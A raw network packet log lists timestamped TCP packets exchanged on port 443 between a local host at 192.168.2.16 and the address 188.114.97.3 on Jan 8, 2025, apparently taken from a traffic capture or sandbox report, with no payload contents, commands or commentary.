Jan 8, 2025 15:45:41.328833103 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.328851938 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.328874111 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.328931093 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.330842972 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.330859900 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.351337910 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.352124929 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.352138996 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.352804899 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.352814913 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.357594967 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.357630968 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.357804060 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.359786034 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.359803915 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.368236065 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.368253946 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.374902964 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.374980927 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375011921 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375025034 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375035048 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375077963 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375087023 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375133991 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375165939 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375170946 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375179052 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375215054 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375221968 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375260115 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375296116 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375300884 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375308037 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375345945 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375354052 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375411034 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375447989 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375463009 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375469923 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375502110 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375508070 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375556946 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375588894 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375595093 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375602007 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.375631094 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.375648022 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.376599073 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.376631021 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.376632929 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.376643896 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.376677990 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.399343967 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.399348021 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.415976048 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.427983046 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.428033113 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.428067923 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.428083897 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.428097010 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.428137064 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.428141117 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.428175926 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.431292057 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.431310892 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.435625076 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.435672045 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.435766935 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.436048985 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.436069965 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.438204050 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.438252926 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.438332081 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.438342094 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.438359976 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.438429117 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.439097881 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.439110994 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.441713095 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.441737890 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.441786051 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.442013025 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.442023993 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459230900 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459305048 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459342003 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459362030 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.459389925 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459427118 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.459433079 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459688902 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459738016 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.459745884 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.459780931 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.460247040 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460293055 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460299015 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.460304976 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460326910 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.460803986 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460850954 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.460859060 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460900068 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.460905075 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460930109 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.460967064 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.461074114 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.461086035 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.464785099 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.464826107 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.464901924 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.465039015 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.465181112 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.465194941 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.465312958 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.465322971 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466459990 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466517925 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.466564894 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466777086 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466819048 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.466825962 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466929913 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.466973066 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.466989994 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467020035 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.467025042 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467206955 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467251062 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.467257023 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467371941 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467417002 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.467427015 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467547894 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.467592001 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.467596054 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.468592882 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.468599081 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.509331942 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.511131048 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.511138916 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.557421923 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.558701992 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.558902025 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.558969975 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.558975935 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559155941 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559209108 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.559212923 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559300900 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559411049 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.559422016 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559541941 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559592009 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.559597015 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559756994 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559803009 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.559808016 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559902906 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.559947968 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.559952021 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560112953 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560163021 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.560170889 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560722113 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560765982 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.560770988 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560863972 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.560909033 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.560914040 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.561018944 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.561062098 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.561067104 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.561588049 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.561638117 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.561642885 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.563394070 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.563452959 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.563460112 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.605329990 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.608028889 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608083010 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608127117 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608129978 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.608149052 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608185053 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.608190060 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608444929 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608484983 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.608490944 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608769894 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.608813047 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.608819008 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.612783909 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.612823009 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.612838984 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.612845898 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.612889051 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651166916 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651375055 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651479959 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651482105 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651513100 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651566982 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651608944 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651683092 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651700974 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651765108 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651792049 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651859999 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651900053 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.651982069 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.651999950 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652081966 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652224064 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652357101 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652550936 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652623892 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652646065 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652745008 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652776957 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652786970 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652803898 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652834892 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652846098 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652851105 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.652913094 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.652915955 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.653063059 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.653068066 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.653182983 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.653536081 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.653623104 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.653644085 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.653718948 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.653728008 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.653819084 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.694556952 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.694624901 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.694669008 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.694684982 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.694703102 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.694770098 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.694919109 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.694979906 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.695024014 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.695031881 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.695535898 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.695569038 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.695583105 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.695589066 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.695628881 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.695633888 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696116924 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696166992 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.696171999 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696204901 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696245909 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.696249008 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696261883 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.696329117 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.697076082 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.697134972 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.697168112 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.697176933 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.697181940 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.697221994 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.697227001 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.738919973 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.738966942 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.738981009 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.739000082 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.739048004 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.743537903 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.743623972 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.743649006 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.743711948 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.743771076 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.743829966 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.743860960 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.743908882 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.743968010 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744097948 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744163036 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744235039 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744251013 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744302034 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744422913 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744501114 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744509935 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744558096 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744617939 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744672060 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.744693995 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.744774103 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745162964 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745234013 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745244980 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745305061 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745438099 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745544910 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745549917 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745575905 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745608091 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745682955 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745748997 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745755911 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745790958 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745805025 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745811939 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745861053 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745881081 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745928049 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745933056 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.745970011 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.745979071 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746001005 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746033907 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746495008 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746548891 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746553898 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746603966 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746615887 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746635914 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746674061 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746747017 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746797085 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746802092 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746829987 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746875048 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746875048 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746881008 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746920109 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.746987104 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.746992111 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.747004986 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.747047901 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.747047901 CET	49875	443	192.168.2.16	188.114.97.3
